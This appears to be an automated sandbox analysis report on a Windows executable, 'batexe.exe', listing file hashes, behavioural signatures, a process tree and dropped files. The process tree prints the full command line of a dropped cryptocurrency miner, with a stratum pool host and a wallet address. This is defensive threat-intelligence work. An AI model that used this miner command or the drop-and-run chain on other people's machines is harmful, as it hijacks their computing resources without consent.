73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
295s
max time network
301s
platform
windows10-1703_x64
resource
win10-20240221-ja
resource tags

arch:x64arch:x86image:win10-20240221-jalocale:ja-jpos:windows10-1703-x64systemwindows
submitted
22/02/2024, 14:49

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
4336	b2e.exe
2072	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
2072	cpuminer-sse2.exe
2072	cpuminer-sse2.exe
2072	cpuminer-sse2.exe
2072	cpuminer-sse2.exe
2072	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/1464-6-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 1464 wrote to memory of 4336	1464	batexe.exe	72
PID 1464 wrote to memory of 4336	1464	batexe.exe	72
PID 1464 wrote to memory of 4336	1464	batexe.exe	72
PID 4336 wrote to memory of 784	4336	b2e.exe	73
PID 4336 wrote to memory of 784	4336	b2e.exe	73
PID 4336 wrote to memory of 784	4336	b2e.exe	73
PID 784 wrote to memory of 2072	784	cmd.exe	76
PID 784 wrote to memory of 2072	784	cmd.exe	76

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1464
- C:\Users\Admin\AppData\Local\Temp\121C.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\121C.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\121C.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:4336
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\16DE.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:784
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:2072

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\121C.tmp\b2e.exe

Filesize
1.7MB

MD5
7b9e19cbeef48d1436f80636d98f1e29

SHA1
211ab3ec2dbf56621bfa6e7b4af51f6d59ed7e22

SHA256
ab3065d4cd6d2916257227617fba70a92bdb7b65f474d9a3b5a7910c6791775d

SHA512
cd561dbc1747d3f5e1a799a1d6f13d71150e273835ecfd1f84b00e742b04a23b41daf83db404ef527c1531f665bd6e74a4fc62bc84759208b958a4803063bdae

Download Submit
C:\Users\Admin\AppData\Local\Temp\121C.tmp\b2e.exe

Filesize
2.3MB

MD5
7e118ee82c731a138d2c0ffe58f39bb3

SHA1
f0535a0081fe4f5520f213261ab48ccd2a76240a

SHA256
ac9a081e1e5dc85d5fb27a89ba974d48c0b983b3a43adf197381be8694448123

SHA512
3cef77c1a9f445e7dc4d857284520af0fa6c439de0c7dfd6fb74b817e99bb540d031984a99fa4b55401dd5c04ad2ba1b39c93d929fc528e54a7f51beccea5727

Download Submit
C:\Users\Admin\AppData\Local\Temp\16DE.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
9.0MB

MD5
3cac42cba6c1e4f00970d28beb1b4070

SHA1
e17cb8b79c44093d9bf5338af8335fb9e0ec0939

SHA256
3d8355519b9801718486c327ceb4185f375a895a7e53bcdf2a98c5471281b7d1

SHA512
330fd496726c42f578fe6701e298df5729ef450155f2acfbd92fcdadf23381d4b5debb97599a8784b3819297d26261463e9208e2695ca8b93bede7cdcb27725b

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
8.3MB

MD5
29321750f78e5c49bc5e834a55645ea4

SHA1
afd19f8e23c28216e4927650a90d6650c33135ed

SHA256
f7feda1653159e4040ad6fd6b758d88c7b978e9e6dbd485e747bcaf7fa79e02e

SHA512
06dddbf3123e5cbbd829f36a67d10483c42dc74465cbd3f2d23d89766a059692697f4d38b118803490ba510c6b25625c763c1551f2cce52cfd34f94e2d25e50d

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
7.0MB

MD5
feaa7fbbe21ee728cd64ebfb00d797a0

SHA1
863c1f92be715f01b83aa9dc0c09b1fb77c70fb8

SHA256
6b800594b20691e6dea4c0abdaf2978c2d4686a507a99b07672136b2de888150

SHA512
ba9274cd7fcd543412277556e7f59287d537c5e81ff6a548b2590009896f16b5836f32f1420e8fe1e35d5c464e8e560fa5096a7c3a742bccaecb6dec842c55e2

Download Submit
memory/1464-6-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/2072-43-0x0000000071D90000-0x0000000071E28000-memory.dmp

Filesize
608KB

Download
memory/2072-56-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2072-41-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/2072-101-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2072-42-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/2072-44-0x0000000000F40000-0x00000000027F5000-memory.dmp

Filesize
24.7MB

Download
memory/2072-45-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2072-96-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2072-51-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2072-40-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2072-66-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2072-71-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2072-81-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2072-86-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2072-91-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4336-50-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/4336-5-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download